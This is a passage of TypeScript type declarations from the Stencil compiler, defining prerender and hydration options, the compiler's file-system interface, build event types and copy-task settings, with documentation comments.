string;\n  supported?: boolean;\n  priority?: number;\n}\n\nexport type TaskCommand =\n  | 'build'\n  | 'docs'\n  | 'generate'\n  | 'g'\n  | 'help'\n  | 'info'\n  | 'prerender'\n  | 'serve'\n  | 'telemetry'\n  | 'test'\n  | 'version';\n\nexport type PageReloadStrategy = 'hmr' | 'pageReload' | null;\n\n/**\n * The prerender config is used when prerendering a `www` output target.\n * Within `stencil.config.ts`, set the path to the prerendering\n * config file path using the `prerenderConfig` property, such as:\n *\n * ```tsx\n * import { Config } from '@stencil/core';\n * export const config: Config = {\n *   outputTargets: [\n *     {\n *       type: 'www',\n *       baseUrl: 'https://stenciljs.com/',\n *       prerenderConfig: './prerender.config.ts',\n *     }\n *   ]\n * };\n * ```\n *\n * The `prerender.config.ts` should export a `config` object using\n * the `PrerenderConfig` interface.\n *\n * ```tsx\n * import { PrerenderConfig } from '@stencil/core';\n * export const config: PrerenderConfig = {\n *   ...\n * };\n * ```\n *\n * For more info: https://stenciljs.com/docs/static-site-generation\n */\nexport interface PrerenderConfig {\n  /**\n   * Run after each `document` is hydrated, but before it is serialized\n   * into an HTML string. Hook is passed the `document` and its `URL`.\n   */\n  afterHydrate?(document: Document, url: URL, results: PrerenderUrlResults): any | Promise<any>;\n  /**\n   * Run before each `document` is hydrated. Hook is passed the `document` it's `URL`.\n   */\n  beforeHydrate?(document: Document, url: URL): any | Promise<any>;\n  /**\n   * Runs after the template Document object has serialize into an\n   * HTML formatted string. Returns an HTML string to be used as the\n   * base template for all prerendered pages.\n   */\n  afterSerializeTemplate?(html: string): string | Promise<string>;\n  /**\n   * Runs before the template Document object is serialize into an\n   * HTML formatted string. Returns the Document to be serialized which\n   * will become the base template html for all prerendered pages.\n   */\n  beforeSerializeTemplate?(document: Document): Document | Promise<Document>;\n  /**\n   * A hook to be used to generate the canonical `<link>` tag\n   * which goes in the `<head>` of every prerendered page. Returning `null`\n   * will not add a canonical url tag to the page.\n   */\n  canonicalUrl?(url: URL): string | null;\n  /**\n   * While prerendering, crawl same-origin URLs found within `<a href>` elements.\n   * Defaults to `true`.\n   */\n  crawlUrls?: boolean;\n  /**\n   * URLs to start the prerendering from. By default the root URL of `/` is used.\n   */\n  entryUrls?: string[];\n  /**\n   * Return `true` the given `<a>` element should be crawled or not.\n   */\n  filterAnchor?(attrs: { [attrName: string]: string }, base?: URL): boolean;\n  /**\n   * Return `true` if the given URL should be prerendered or not.\n   */\n  filterUrl?(url: URL, base: URL): boolean;\n  /**\n   * Returns the file path which the prerendered HTML content\n   * should be written to.\n   */\n  filePath?(url: URL, filePath: string): string;\n  /**\n   * Returns the hydrate options to use for each individual prerendered page.\n   */\n  hydrateOptions?(url: URL): PrerenderHydrateOptions;\n  /**\n   * Returns the template file's content. The template is the base\n   * HTML used for all prerendered pages.\n   */\n  loadTemplate?(filePath: string): string | Promise<string>;\n  /**\n   * Used to normalize the page's URL from a given a string and the current\n   * page's base URL. Largely used when reading an anchor's `href` attribute\n   * value and normalizing it into a `URL`.\n   */\n  normalizeUrl?(href: string, base: URL): URL;\n  robotsTxt?(opts: RobotsTxtOpts): string | RobotsTxtResults;\n  sitemapXml?(opts: SitemapXmpOpts): string | SitemapXmpResults;\n  /**\n   * Static Site Generated (SSG). Does not include Stencil's client-side\n   * JavaScript, custom elements or preload modules.\n   */\n  staticSite?: boolean;\n  /**\n   * If the prerendered URLs should have a trailing \"/\"\" or not. Defaults to `false`.\n   */\n  trailingSlash?: boolean;\n}\n\nexport interface HydrateDocumentOptions {\n  /**\n   * Build ID that will be added to `<html data-stencil-build=\"BUILD_ID\">`. By default\n   * a random ID will be generated\n   */\n  buildId?: string;\n  /**\n   * Sets the `href` attribute on the `<link rel=\"canonical\">`\n   * tag within the `<head>`. If the value is not defined it will\n   * ensure a canonical link tag is no included in the `<head>`.\n   */\n  canonicalUrl?: string;\n  /**\n   * Include the HTML comments and attributes used by the client-side\n   * JavaScript to read the structure of the HTML and rebuild each\n   * component. Defaults to `true`.\n   */\n  clientHydrateAnnotations?: boolean;\n  /**\n   * Constrain `setTimeout()` to 1ms, but still async. Also\n   * only allows `setInterval()` to fire once, also constrained to 1ms.\n   * Defaults to `true`.\n   */\n  constrainTimeouts?: boolean;\n  /**\n   * Sets `document.cookie`\n   */\n  cookie?: string;\n  /**\n   * Sets the `dir` attribute on the top level `<html>`.\n   */\n  direction?: string;\n  /**\n   * Component tag names listed here will not be prerendered, nor will\n   * hydrated on the client-side. Components listed here will be ignored\n   * as custom elements and treated no differently than a `<div>`.\n   */\n  excludeComponents?: string[];\n  /**\n   * Sets the `lang` attribute on the top level `<html>`.\n   */\n  language?: string;\n  /**\n   * Maximum number of components to hydrate on one page. Defaults to `300`.\n   */\n  maxHydrateCount?: number;\n  /**\n   * Sets `document.referrer`\n   */\n  referrer?: string;\n  /**\n   * Removes every `<script>` element found in the `document`. Defaults to `false`.\n   */\n  removeScripts?: boolean;\n  /**\n   * Removes CSS not used by elements within the `document`. Defaults to `true`.\n   */\n  removeUnusedStyles?: boolean;\n  /**\n   * The url the runtime uses for the resources, such as the assets directory.\n   */\n  resourcesUrl?: string;\n  /**\n   * Prints out runtime console logs to the NodeJS process. Defaults to `false`.\n   */\n  runtimeLogging?: boolean;\n  /**\n   * Component tags listed here will only be prerendered or server-side-rendered\n   * and will not be client-side hydrated. This is useful for components that\n   * are not dynamic and do not need to be defined as a custom element within the\n   * browser. For example, a header or footer component would be a good example that\n   * may not require any client-side JavaScript.\n   */\n  staticComponents?: string[];\n  /**\n   * The amount of milliseconds to wait for a page to finish rendering until\n   * a timeout error is thrown. Defaults to `15000`.\n   */\n  timeout?: number;\n  /**\n   * Sets `document.title`.\n   */\n  title?: string;\n  /**\n   * Sets `location.href`\n   */\n  url?: string;\n  /**\n   * Sets `navigator.userAgent`\n   */\n  userAgent?: string;\n  /**\n   * Configure how Stencil serializes the components shadow root.\n   * - If set to `declarative-shadow-dom` the component will be rendered within a Declarative Shadow DOM.\n   * - If set to `scoped` Stencil will render the contents of the shadow root as a `scoped: true` component\n   *   and the shadow DOM will be created during client-side hydration.\n   * - Alternatively you can mix and match the two by providing an object with `declarative-shadow-dom` and `scoped` keys,\n   * the value arrays containing the tag names of the components that should be rendered in that mode.\n   *\n   * Examples:\n   * - `{ 'declarative-shadow-dom': ['my-component-1', 'another-component'], default: 'scoped' }`\n   * Render all components as `scoped` apart from `my-component-1` and `another-component`\n   * -  `{ 'scoped': ['an-option-component'], default: 'declarative-shadow-dom' }`\n   * Render all components within `declarative-shadow-dom` apart from `an-option-component`\n   * - `'scoped'` Render all components as `scoped`\n   * - `false` disables shadow root serialization\n   *\n   * *NOTE* `true` has been deprecated in favor of `declarative-shadow-dom` and `scoped`\n   * @default 'declarative-shadow-dom'\n   */\n  serializeShadowRoot?:\n    | 'declarative-shadow-dom'\n    | 'scoped'\n    | {\n        'declarative-shadow-dom'?: string[];\n        scoped?: string[];\n        default: 'declarative-shadow-dom' | 'scoped';\n      }\n    | boolean;\n}\n\nexport interface SerializeDocumentOptions extends HydrateDocumentOptions {\n  /**\n   * Runs after the `document` has been hydrated.\n   */\n  afterHydrate?(document: any): any | Promise<any>;\n  /**\n   * Sets an approximate line width the HTML should attempt to stay within.\n   * Note that this is \"approximate\", in that HTML may often not be able\n   * to be split at an exact line width. Additionally, new lines created\n   * is where HTML naturally already has whitespace, such as before an\n   * attribute or spaces between words. Defaults to `100`.\n   */\n  approximateLineWidth?: number;\n  /**\n   * Runs before the `document` has been hydrated.\n   */\n  beforeHydrate?(document: any): any | Promise<any>;\n  /**\n   * Format the HTML in a nicely indented format.\n   * Defaults to `false`.\n   */\n  prettyHtml?: boolean;\n  /**\n   * Remove quotes from attribute values when possible.\n   * Defaults to `true`.\n   */\n  removeAttributeQuotes?: boolean;\n  /**\n   * Remove the `=\"\"` from standardized `boolean` attributes,\n   * such as `hidden` or `checked`. Defaults to `true`.\n   */\n  removeBooleanAttributeQuotes?: boolean;\n  /**\n   * Remove these standardized attributes when their value is empty:\n   * `class`, `dir`, `id`, `lang`, and `name`, `title`. Defaults to `true`.\n   */\n  removeEmptyAttributes?: boolean;\n  /**\n   * Remove HTML comments. Defaults to `true`.\n   */\n  removeHtmlComments?: boolean;\n  /**\n   * The `fullDocument` flag determines the format of the rendered output. Set it to true to\n   * generate a complete HTML document, or false to render only the component.\n   * @default true\n   */\n  fullDocument?: boolean;\n  /**\n   * Style modes to render the component in.\n   * @see https://stenciljs.com/docs/styling#style-modes\n   */\n  modes?: ResolutionHandler[];\n}\n\nexport interface HydrateFactoryOptions extends SerializeDocumentOptions {\n  serializeToHtml: boolean;\n  destroyWindow: boolean;\n  destroyDocument: boolean;\n}\n\nexport interface PrerenderHydrateOptions extends SerializeDocumentOptions {\n  /**\n   * Adds `<link rel=\"modulepreload\">` for modules that will eventually be requested.\n   * Defaults to `true`.\n   */\n  addModulePreloads?: boolean;\n  /**\n   * Hash the content of assets, such as images, fonts and css files,\n   * and add the hashed value as `v` querystring. For example,\n   * `/assets/image.png?v=abcd1234`. This allows for assets to be\n   * heavily cached by setting the server's response header with\n   * `Cache-Control: max-age=31536000, immutable`.\n   */\n  hashAssets?: 'querystring';\n  /**\n   * External stylesheets from `<link rel=\"stylesheet\">` are instead inlined\n   * into `<style>` elements. Defaults to `false`.\n   */\n  inlineExternalStyleSheets?: boolean;\n  /**\n   * Minify CSS content within `<style>` elements. Defaults to `true`.\n   */\n  minifyStyleElements?: boolean;\n  /**\n   * Minify JavaScript content within `<script>` elements. Defaults to `true`.\n   */\n  minifyScriptElements?: boolean;\n  /**\n   * Entire `document` should be static. This is useful for specific pages that\n   * should be static, rather than the entire site. If the whole site should be static,\n   * use the `staticSite` property on the prerender config instead. If only certain\n   * components should be static then use `staticComponents` instead.\n   */\n  staticDocument?: boolean;\n}\n\nexport interface RobotsTxtOpts {\n  urls: string[];\n  sitemapUrl: string;\n  baseUrl: string;\n  dir: string;\n}\n\nexport interface RobotsTxtResults {\n  content: string;\n  filePath: string;\n  url: string;\n}\n\nexport interface SitemapXmpOpts {\n  urls: string[];\n  baseUrl: string;\n  dir: string;\n}\n\nexport interface SitemapXmpResults {\n  content: string;\n  filePath: string;\n  url: string;\n}\n\n/**\n * Common system used by the compiler. All file reads, writes, access, etc. will all use\n * this system. Additionally, throughout each build, the compiler will use an internal\n * in-memory file system as to prevent unnecessary fs reads and writes. At the end of each\n * build all actions the in-memory fs performed will be written to disk using this system.\n * A NodeJS based system will use APIs such as `fs` and `crypto`, and a web-based system\n * will use in-memory Maps and browser APIs. Either way, the compiler itself is unaware\n * of the actual platform it's being ran on top of.\n */\nexport interface CompilerSystem {\n  name: 'node' | 'in-memory';\n  version: string;\n  events?: BuildEvents;\n  details?: SystemDetails;\n  /**\n   * Add a callback which will be ran when destroy() is called.\n   */\n  addDestroy(cb: () => void): void;\n  /**\n   * Always returns a boolean, does not throw.\n   */\n  access(p: string): Promise<boolean>;\n  /**\n   * SYNC! Always returns a boolean, does not throw.\n   */\n  accessSync(p: string): boolean;\n  applyGlobalPatch?(fromDir: string): Promise<void>;\n  applyPrerenderGlobalPatch?(opts: { devServerHostUrl: string; window: any }): void;\n  cacheStorage?: CacheStorage;\n  // TODO(STENCIL-898): Make this property non-optional, check for unnecessary null checks on it\n  checkVersion?: (logger: Logger, currentVersion: string) => Promise<() => void>;\n  copy?(copyTasks: Required<CopyTask>[], srcDir: string): Promise<CopyResults>;\n  /**\n   * Always returns a boolean if the files were copied or not. Does not throw.\n   */\n  copyFile(src: string, dst: string): Promise<boolean>;\n  /**\n   * Used to destroy any listeners, file watchers or child processes.\n   */\n  destroy(): Promise<void>;\n  /**\n   * Does not throw.\n   */\n  createDir(p: string, opts?: CompilerSystemCreateDirectoryOptions): Promise<CompilerSystemCreateDirectoryResults>;\n  /**\n   * SYNC! Does not throw.\n   */\n  createDirSync(p: string, opts?: CompilerSystemCreateDirectoryOptions): CompilerSystemCreateDirectoryResults;\n  homeDir(): string;\n  /**\n   * Used to determine if the current context of the terminal is TTY.\n   */\n  isTTY(): boolean;\n  /**\n   * Each platform has a different way to dynamically import modules.\n   */\n  dynamicImport?(p: string): Promise<any>;\n  /**\n   * Creates the worker controller for the current system.\n   *\n   * @param maxConcurrentWorkers the max number of concurrent workers to\n   * support\n   * @returns a worker controller appropriate for the current platform (node.js)\n   */\n  createWorkerController?(maxConcurrentWorkers: number): WorkerMainController;\n  encodeToBase64(str: string): string;\n\n  // TODO(STENCIL-727): Remove this from the sys interface\n  /**\n   * @deprecated\n   */\n  ensureDependencies?(opts: {\n    rootDir: string;\n    logger: Logger;\n    dependencies: CompilerDependency[];\n  }): Promise<{ stencilPath: string; diagnostics: Diagnostic[] }>;\n  // TODO(STENCIL-727): Remove this from the sys interface\n  /**\n   * @deprecated\n   */\n  ensureResources?(opts: { rootDir: string; logger: Logger; dependencies: CompilerDependency[] }): Promise<void>;\n  /**\n   * process.exit()\n   */\n  exit(exitCode: number): Promise<void>;\n  /**\n   * Optionally provide a fetch() function rather than using the built-in fetch().\n   * First arg is a url string or Request object (RequestInfo).\n   * Second arg is the RequestInit. Returns the Response object\n   */\n  fetch?(input: string | any, init?: any): Promise<any>;\n  /**\n   * Generates a sha1 digest encoded as HEX\n   */\n  generateContentHash?(content: string | any, length?: number): Promise<string>;\n  /**\n   * Generates a sha1 digest encoded as HEX from a file path\n   */\n  generateFileHash?(filePath: string | any, length?: number): Promise<string>;\n  /**\n   * Get the current directory.\n   */\n  getCurrentDirectory(): string;\n  /**\n   * The compiler's executing path.\n   */\n  getCompilerExecutingPath(): string;\n  /**\n   * The dev server's executing path.\n   */\n  getDevServerExecutingPath?(): string;\n  getEnvironmentVar?(key: string): string;\n  /**\n   * Gets the absolute file path when for a dependency module.\n   */\n  getLocalModulePath(opts: { rootDir: string; moduleId: string; path: string }): string;\n  /**\n   * Gets the full url when requesting a dependency module to fetch from a CDN.\n   */\n  getRemoteModuleUrl(opts: { moduleId: string; path?: string; version?: string }): string;\n  /**\n   * Async glob task. Only available in NodeJS compiler system.\n   */\n  glob?(pattern: string, options: { cwd?: string; nodir?: boolean; [key: string]: any }): Promise<string[]>;\n  /**\n   * The number of logical processors available to run threads on the user's computer (cpus).\n   */\n  hardwareConcurrency: number;\n  /**\n   * Tests if the path is a symbolic link or not. Always resolves a boolean. Does not throw.\n   */\n  isSymbolicLink(p: string): Promise<boolean>;\n  lazyRequire?: LazyRequire;\n  nextTick(cb: () => void): void;\n  /**\n   * Normalize file system path.\n   */\n  normalizePath(p: string): string;\n  onProcessInterrupt?(cb: () => void): void;\n  parseYarnLockFile?: (content: string) => {\n    type: 'success' | 'merge' | 'conflict';\n    object: any;\n  };\n  platformPath: PlatformPath;\n  /**\n   * All return paths are full normalized paths, not just the basenames. Always returns an array, does not throw.\n   */\n  readDir(p: string): Promise<string[]>;\n  /**\n   * SYNC! All return paths are full normalized paths, not just the basenames. Always returns an array, does not throw.\n   */\n  readDirSync(p: string): string[];\n  /**\n   * Returns undefined if file is not found. Does not throw.\n   */\n  readFile(p: string): Promise<string>;\n  readFile(p: string, encoding: 'utf8'): Promise<string>;\n  readFile(p: string, encoding: 'binary'): Promise<any>;\n  /**\n   * SYNC! Returns undefined if file is not found. Does not throw.\n   */\n  readFileSync(p: string, encoding?: string): string;\n  /**\n   * Does not throw.\n   */\n  realpath(p: string): Promise<CompilerSystemRealpathResults>;\n  /**\n   * SYNC! Does not throw.\n   */\n  realpathSync(p: string): CompilerSystemRealpathResults;\n  /**\n   * Remove a callback which will be ran when destroy() is called.\n   */\n  removeDestroy(cb: () => void): void;\n  /**\n   * Rename old path to new path. Does not throw.\n   */\n  rename(oldPath: string, newPath: string): Promise<CompilerSystemRenameResults>;\n  resolveModuleId?(opts: ResolveModuleIdOptions): Promise<ResolveModuleIdResults>;\n  resolvePath(p: string): string;\n  /**\n   * Does not throw.\n   */\n  removeDir(p: string, opts?: CompilerSystemRemoveDirectoryOptions): Promise<CompilerSystemRemoveDirectoryResults>;\n  /**\n   * SYNC! Does not throw.\n   */\n  removeDirSync(p: string, opts?: CompilerSystemRemoveDirectoryOptions): CompilerSystemRemoveDirectoryResults;\n  /**\n   * Does not throw.\n   */\n  removeFile(p: string): Promise<CompilerSystemRemoveFileResults>;\n  /**\n   * SYNC! Does not throw.\n   */\n  removeFileSync(p: string): CompilerSystemRemoveFileResults;\n  setupCompiler?: (c: { ts: any }) => void;\n\n  /**\n   * Always returns an object. Does not throw. Check for \"error\" property if there's an error.\n   */\n  stat(p: string): Promise<CompilerFsStats>;\n  /**\n   * SYNC! Always returns an object. Does not throw. Check for \"error\" property if there's an error.\n   */\n  statSync(p: string): CompilerFsStats;\n  tmpDirSync(): string;\n  watchDirectory?(p: string, callback: CompilerFileWatcherCallback, recursive?: boolean): CompilerFileWatcher;\n\n  /**\n   * A `watchFile` implementation in order to hook into the rest of the {@link CompilerSystem} implementation that is\n   * used when running Stencil's compiler in \"watch mode\".\n   *\n   * It is analogous to TypeScript's `watchFile`  implementation.\n   *\n   * Note, this function may be called for full builds of Stencil projects by the TypeScript compiler. It should not\n   * assume that it will only be called in watch mode.\n   *\n   * This function should not perform any file watcher registration itself. Each `path` provided to it when called\n   * should already have been registered as a file to watch.\n   *\n   * @param path the path to the file that is being watched\n   * @param callback a callback to invoke when a file that is being watched has changed in some way\n   * @returns an object with a method for unhooking the file watcher from the system\n   */\n  watchFile?(path: string, callback: CompilerFileWatcherCallback): CompilerFileWatcher;\n  /**\n   * How many milliseconds to wait after a change before calling watch callbacks.\n   */\n  watchTimeout?: number;\n  /**\n   * Does not throw.\n   */\n  writeFile(p: string, content: string): Promise<CompilerSystemWriteFileResults>;\n  /**\n   * SYNC! Does not throw.\n   */\n  writeFileSync(p: string, content: string): CompilerSystemWriteFileResults;\n}\n\nexport interface TranspileOnlyResults {\n  diagnostics: Diagnostic[];\n  output: string;\n  sourceMap: any;\n}\n\nexport interface ParsedPath {\n  root: string;\n  dir: string;\n  base: string;\n  ext: string;\n  name: string;\n}\n\nexport interface PlatformPath {\n  normalize(p: string): string;\n  join(...paths: string[]): string;\n  resolve(...pathSegments: string[]): string;\n  isAbsolute(p: string): boolean;\n  relative(from: string, to: string): string;\n  dirname(p: string): string;\n  basename(p: string, ext?: string): string;\n  extname(p: string): string;\n  parse(p: string): ParsedPath;\n  sep: string;\n  delimiter: string;\n  posix: any;\n  win32: any;\n}\n\nexport interface CompilerDependency {\n  name: string;\n  version: string;\n  main: string;\n  resources?: string[];\n}\n\nexport interface ResolveModuleIdOptions {\n  moduleId: string;\n  containingFile?: string;\n  exts?: string[];\n  packageFilter?: (pkg: any, pkgFile: string) => any;\n}\n\nexport interface ResolveModuleIdResults {\n  moduleId: string;\n  resolveId: string;\n  pkgData: { name: string; version: string; [key: string]: any };\n  pkgDirPath: string;\n}\n\n// TODO(STENCIL-1005): improve the typing for this interface\n/**\n * A controller which provides for communication and coordination between\n * threaded workers.\n */\nexport interface WorkerMainController {\n  /**\n   * Send a given set of arguments to a worker\n   */\n  send(...args: any[]): Promise<any>;\n  /**\n   * Handle a particular method\n   *\n   * @param name of the method to be passed to a worker\n   * @returns a Promise wrapping the results\n   */\n  handler(name: string): (...args: any[]) => Promise<any>;\n  /**\n   * Destroy the worker represented by this instance, rejecting all outstanding\n   * tasks and killing the child process.\n   */\n  destroy(): void;\n  /**\n   * The current setting for the max number of workers\n   */\n  maxWorkers: number;\n}\n\nexport interface CopyResults {\n  diagnostics: Diagnostic[];\n  filePaths: string[];\n  dirPaths: string[];\n}\n\nexport interface SystemDetails {\n  cpuModel: string;\n  freemem(): number;\n  platform: 'darwin' | 'windows' | 'linux' | '';\n  release: string;\n  totalmem: number;\n}\n\nexport interface BuildOnEvents {\n  on(cb: (eventName: CompilerEventName, data: any) => void): BuildOnEventRemove;\n\n  on(eventName: CompilerEventFileAdd, cb: (path: string) => void): BuildOnEventRemove;\n  on(eventName: CompilerEventFileDelete, cb: (path: string) => void): BuildOnEventRemove;\n  on(eventName: CompilerEventFileUpdate, cb: (path: string) => void): BuildOnEventRemove;\n\n  on(eventName: CompilerEventDirAdd, cb: (path: string) => void): BuildOnEventRemove;\n  on(eventName: CompilerEventDirDelete, cb: (path: string) => void): BuildOnEventRemove;\n\n  on(eventName: CompilerEventBuildStart, cb: (buildStart: CompilerBuildStart) => void): BuildOnEventRemove;\n  on(eventName: CompilerEventBuildFinish, cb: (buildResults: CompilerBuildResults) => void): BuildOnEventRemove;\n  on(eventName: CompilerEventBuildLog, cb: (buildLog: BuildLog) => void): BuildOnEventRemove;\n  on(eventName: CompilerEventBuildNoChange, cb: () => void): BuildOnEventRemove;\n}\n\nexport interface BuildEmitEvents {\n  emit(eventName: CompilerEventName, path: string): void;\n  emit(eventName: CompilerEventFileAdd, path: string): void;\n  emit(eventName: CompilerEventFileDelete, path: string): void;\n  emit(eventName: CompilerEventFileUpdate, path: string): void;\n\n  emit(eventName: CompilerEventDirAdd, path: string): void;\n  emit(eventName: CompilerEventDirDelete, path: string): void;\n\n  emit(eventName: CompilerEventBuildStart, buildStart: CompilerBuildStart): void;\n  emit(eventName: CompilerEventBuildFinish, buildResults: CompilerBuildResults): void;\n  emit(eventName: CompilerEventBuildNoChange, buildNoChange: BuildNoChangeResults): void;\n  emit(eventName: CompilerEventBuildLog, buildLog: BuildLog): void;\n\n  emit(eventName: CompilerEventFsChange, fsWatchResults: FsWatchResults): void;\n}\n\nexport interface FsWatchResults {\n  dirsAdded: string[];\n  dirsDeleted: string[];\n  filesUpdated: string[];\n  filesAdded: string[];\n  filesDeleted: string[];\n}\n\nexport interface BuildLog {\n  buildId: number;\n  messages: string[];\n  progress: number;\n}\n\nexport interface BuildNoChangeResults {\n  buildId: number;\n  noChange: boolean;\n}\n\nexport interface CompilerBuildResults {\n  buildId: number;\n  componentGraph?: BuildResultsComponentGraph;\n  diagnostics: Diagnostic[];\n  dirsAdded: string[];\n  dirsDeleted: string[];\n  duration: number;\n  filesAdded: string[];\n  filesChanged: string[];\n  filesDeleted: string[];\n  filesUpdated: string[];\n  hasError: boolean;\n  hasSuccessfulBuild: boolean;\n  hmr?: HotModuleReplacement;\n  hydrateAppFilePath?: string;\n  isRebuild: boolean;\n  namespace: string;\n  outputs: BuildOutput[];\n  rootDir: string;\n  srcDir: string;\n  timestamp: string;\n}\n\nexport interface BuildResultsComponentGraph {\n  [scopeId: string]: string[];\n}\n\nexport interface BuildOutput {\n  type: string;\n  files: string[];\n}\n\nexport interface HotModuleReplacement {\n  componentsUpdated?: string[];\n  excludeHmr?: string[];\n  externalStylesUpdated?: string[];\n  imagesUpdated?: string[];\n  indexHtmlUpdated?: boolean;\n  inlineStylesUpdated?: HmrStyleUpdate[];\n  reloadStrategy: PageReloadStrategy;\n  scriptsAdded?: string[];\n  scriptsDeleted?: string[];\n  serviceWorkerUpdated?: boolean;\n  versionId?: string;\n}\n\nexport interface HmrStyleUpdate {\n  styleId: string;\n  styleTag: string;\n  styleText: string;\n}\n\nexport type BuildOnEventRemove = () => boolean;\n\nexport interface BuildEvents extends BuildOnEvents, BuildEmitEvents {\n  unsubscribeAll(): void;\n}\n\nexport interface CompilerBuildStart {\n  buildId: number;\n  timestamp: string;\n}\n\n/**\n * A type describing a function to call when an event is emitted by a file watcher\n * @param fileName the path of the file tied to event\n * @param eventKind a variant describing the type of event that was emitter (added, edited, etc.)\n */\nexport type CompilerFileWatcherCallback = (fileName: string, eventKind: CompilerFileWatcherEvent) => void;\n\n/**\n * A type describing the different types of events that Stencil expects may happen when a file being watched is altered\n * in some way\n */\nexport type CompilerFileWatcherEvent =\n  | CompilerEventFileAdd\n  | CompilerEventFileDelete\n  | CompilerEventFileUpdate\n  | CompilerEventDirAdd\n  | CompilerEventDirDelete;\n\nexport type CompilerEventName =\n  | CompilerEventFsChange\n  | CompilerEventFileUpdate\n  | CompilerEventFileAdd\n  | CompilerEventFileDelete\n  | CompilerEventDirAdd\n  | CompilerEventDirDelete\n  | CompilerEventBuildStart\n  | CompilerEventBuildFinish\n  | CompilerEventBuildNoChange\n  | CompilerEventBuildLog;\n\nexport type CompilerEventFsChange = 'fsChange';\nexport type CompilerEventFileUpdate = 'fileUpdate';\nexport type CompilerEventFileAdd = 'fileAdd';\nexport type CompilerEventFileDelete = 'fileDelete';\nexport type CompilerEventDirAdd = 'dirAdd';\nexport type CompilerEventDirDelete = 'dirDelete';\nexport type CompilerEventBuildStart = 'buildStart';\nexport type CompilerEventBuildFinish = 'buildFinish';\nexport type CompilerEventBuildLog = 'buildLog';\nexport type CompilerEventBuildNoChange = 'buildNoChange';\n\nexport interface CompilerFileWatcher {\n  close(): void | Promise<void>;\n}\n\nexport interface CompilerFsStats {\n  /**\n   * If it's a directory. `false` if there was an error.\n   */\n  isDirectory: boolean;\n  /**\n   * If it's a file. `false` if there was an error.\n   */\n  isFile: boolean;\n  /**\n   * If it's a symlink. `false` if there was an error.\n   */\n  isSymbolicLink: boolean;\n  /**\n   * The size of the file in bytes. `0` for directories or if there was an error.\n   */\n  size: number;\n  /**\n   * The timestamp indicating the last time this file was modified expressed in milliseconds since the POSIX Epoch.\n   */\n  mtimeMs?: number;\n  /**\n   * Error if there was one, otherwise `null`. `stat` and `statSync` do not throw errors but always returns this interface.\n   */\n  error: any;\n}\n\nexport interface CompilerSystemCreateDirectoryOptions {\n  /**\n   * Indicates whether parent directories should be created.\n   * @default false\n   */\n  recursive?: boolean;\n  /**\n   * A file mode. If a string is passed, it is parsed as an octal integer. If not specified\n   * @default 0o777.\n   */\n  mode?: number;\n}\n\nexport interface CompilerSystemCreateDirectoryResults {\n  basename: string;\n  dirname: string;\n  path: string;\n  newDirs: string[];\n  error: any;\n}\n\nexport interface CompilerSystemRemoveDirectoryOptions {\n  /**\n   * Indicates whether child files and subdirectories should be removed.\n   * @default false\n   */\n  recursive?: boolean;\n}\n\nexport interface CompilerSystemRemoveDirectoryResults {\n  basename: string;\n  dirname: string;\n  path: string;\n  removedDirs: string[];\n  removedFiles: string[];\n  error: any;\n}\n\nexport interface CompilerSystemRenameResults extends CompilerSystemRenamedPath {\n  renamed: CompilerSystemRenamedPath[];\n  oldDirs: string[];\n  oldFiles: string[];\n  newDirs: string[];\n  newFiles: string[];\n  error: any;\n}\n\nexport interface CompilerSystemRenamedPath {\n  oldPath: string;\n  newPath: string;\n  isFile: boolean;\n  isDirectory: boolean;\n}\n\nexport interface CompilerSystemRealpathResults {\n  path: string;\n  error: any;\n}\n\nexport interface CompilerSystemRemoveFileResults {\n  basename: string;\n  dirname: string;\n  path: string;\n  error: any;\n}\n\nexport interface CompilerSystemWriteFileResults {\n  path: string;\n  error: any;\n}\n\nexport interface Credentials {\n  key: string;\n  cert: string;\n}\n\nexport interface ConfigBundle {\n  components: string[];\n}\n\n/**\n * A file and/or directory copy operation that may be specified as part of\n * certain output targets for Stencil (in particular `dist`,\n * `dist-custom-elements`, and `www`).\n */\nexport interface CopyTask {\n  /**\n   * The source file path for a copy operation. This may be an absolute or\n   * relative path to a directory or a file, and may also include a glob\n   * pattern.\n   *\n   * If the path is a relative path it will be treated as relative to\n   * `Config.srcDir`.\n   */\n  src: string;\n  /**\n   * An optional destination file path for a copy operation. This may be an\n   * absolute or relative path.\n   *\n   * If relative, this will be treated as relative to the output directory for\n   * the output target for which this copy operation is configured.\n   */\n  dest?: string;\n  /**\n   * An optional array of glob patterns to exclude from the copy operation.\n   * @default ['**\\/__mocks__/**', '**\\/__fixtures__/**', '**\\/dist/**', '**\\/.{idea,git,cache,output,temp}/**', '**\\/.ds_store', '**\\/.gitignore', '**\\/desktop.ini', '**\\/thumbs.db']\n   */\n  ignore?: string[];\n  /**\n   * Whether or not Stencil should issue warnings if it cannot find the\n   * specified source files or directories. Defaults to `false`.\n   *\n   * To receive warnings if a copy task source can't be found set this to\n   * `true`.\n   */\n  warn?: boolean;\n  /**\n   * Whether or not directory structure should be preserved when copying files\n   * from a source directory. Defaults to `true` if no `dest` path is supplied,\n   * else it defaults to `false`.\n   *\n   * If this is set to `false`, all the files from a source directory will be\n   * copied directly to the destination directory, but if it's set to `true` they\n   * will be copied to a new directory inside the destination directory with\n   * the same name as their original source directory.\n   *\n   * So if, for instance, `src` is set to `\"images\"` and `keepDirStructure` is\n   * set to `true` the copy task will then produce the following directory\n   * structure:\n   *\n   * ```\n   * images\n   * └── foo.png\n   * dist\n   * └── images\n   *     └── foo.png\n   * ```\n   *\n   * Conversely if `keepDirStructure` is set to `false` then files in `images/`\n   * will be copied to `dist` without first creating a new subdirectory,\n   * resulting in the following directory structure:\n   *\n   * ```\n   * images\n   * └── foo.png\n   * dist\n   * └── foo.png\n   * ```\n   *\n   * If a `dest` path is supplied then `keepDirStructure`\n   * will default to `false`, so that Stencil will write the\n   * copied files directly into the `dest` directory without creating a new\n   * subdirectory. This behavior can be overridden by setting\n   * `keepDirStructure` to `true`.\n   */\n  keepDirStructure?: boolean;\n}\n\n/**\n * Configuration for generating documentation from Stencil components.\n */\nexport interface StencilDocsConfig {\n  /**\n   * Options for processing and rendering Markdown documentation files.\n   */\n  markdown?: {\n    /**\n     * Styling for how the target component will be represented within documentation (e.g., in component diagrams).\n     */\n    targetComponent?: {\n      /**\n       * Background color used for nodes representing the component in diagrams (e.g., Mermaid graphs).\n       * Use standard color names or hex codes.\n       * @example '#f0f0f0' (light gray)\n       */\n      background?: string;\n\n      /**\n       * Text color used within nodes representing the component in diagrams (e.g., Mermaid graphs).\n       * Use standard color names or hex codes.\n       * @example '#333' (dark gray)\n       */\n      textColor?: string;\n    };\n  };\n}\n\n// TODO(STENCIL-882): Remove this interface [BREAKING_CHANGE]\nexport interface BundlingConfig {\n  /**\n   * @deprecated the 